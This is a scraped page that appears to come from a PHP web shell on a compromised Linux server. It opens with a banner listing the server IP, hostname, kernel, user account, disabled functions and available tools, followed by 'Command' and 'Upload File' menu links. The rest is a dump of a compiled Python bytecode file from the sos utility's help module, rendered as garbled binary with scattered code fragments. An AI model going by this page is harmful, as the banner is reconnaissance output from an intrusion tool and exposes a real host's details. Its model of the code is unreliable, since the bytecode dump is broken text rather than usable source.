Server IP : 184.107.3.203 / Your IP : 216.73.216.51 Web Server : Apache System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64 User : adminteladeoro ( 1015) PHP Version : 8.2.28 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/lib/python3.6/site-packages/sos/help/__pycache__/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
3 ~ �gk+ � @ s� d dl Z d dlZd dlZd dlZd dlmZ d dlmZ d dlm Z d dl mZ d dlm Z d dlmZmZ yeej� jd�ZW n ek r� dZY nX G d d � d e �ZG dd� d�ZdS ) � N)�OrderedDict)�fill)�SoSComponent)� import_policy)�Plugin)�bold�ImporterHelper�x c s� e Zd ZdZdZdZdZdZddiZ� fdd�Z e dd � �Zd d� Zdd � Z dd� Zdd� Zdd� Zdd� Zdd� Zdd� Z� ZS )� SoSHelperz�Provide better, more in-depth help for specific parts of sos than is provided in either standard --help output or in manpages. zDetailed help infomationF�topic� c s t � j|||� | jj| _d S )N)�super�__init__�optsr )�self�parser�argsZcmdline)� __class__� �/usr/lib/python3.6/__init__.pyr + s zSoSHelper.__init__c C s* d|_ |jdd�}|jdddddd � d S ) Nzsos help TOPIC [options]zHelp Information Optionsz<These options control what detailed information is displayedr ZTOPICr �?z/name of the topic or component to show help for)�metavar�default�nargs�help)�usageZadd_argument_group�add_argument)�clsr Zhelp_grpr r r �add_parser_options/ s zSoSHelper.add_parser_optionsc C sB | j jjd�d }dddd�}||kr>| j jj||| �| j _d S )N�.r �cleaner� collector)�clean�mask�collect)r r �split�replace)r Z_com�_replacer r r �sanitize_topic_component: s z"SoSHelper.sanitize_topic_componentc C s� | j js| j� tjd� | j� y| j� }W nD tk rr } z(td| j j� d|� �� tjd� W Y d d }~X nX |r�yt � }|j |� |j� W q� tk r� } ztd|� �� W Y d d }~X q�X ntd| j j� d�� d S )Nr zCould not load help for 'z': � zError loading help: zNo help section found for '�')r r �display_self_help�sys�exitr( �get_obj_for_topic� Exception�print�HelpSectionZdisplay_help�display)r �klass�errZhtr r r �executeD s"